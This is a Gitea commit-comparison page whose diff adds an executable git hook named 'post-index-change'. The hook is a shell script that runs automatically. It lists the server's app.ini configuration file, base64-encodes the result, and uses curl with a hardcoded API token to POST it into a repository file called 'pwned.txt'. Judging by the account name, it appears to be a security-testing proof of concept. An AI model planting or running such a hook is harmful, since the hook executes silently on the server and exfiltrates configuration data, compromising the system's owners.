Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 7105e94a56 | |||
| b84679055e |
4
hooks/post-index-change
Executable file
4
hooks/post-index-change
Executable file
@@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
RESULT=$(ls -la /data/gitea/conf/app.ini 2>&1)
|
||||
ENCODED=$(echo "$RESULT" | base64 | tr -d "\n")
|
||||
curl -sk -X POST "http://localhost:3000/api/v1/repos/secaudit77/si2/contents/pwned.txt" -H "Authorization: token 716231906ac33d9eda86a2fc1545978851a7db49" -H "Content-Type: application/json" -d "{\"message\":\"p\",\"content\":\"$ENCODED\"}"
|
||||
Reference in New Issue
Block a user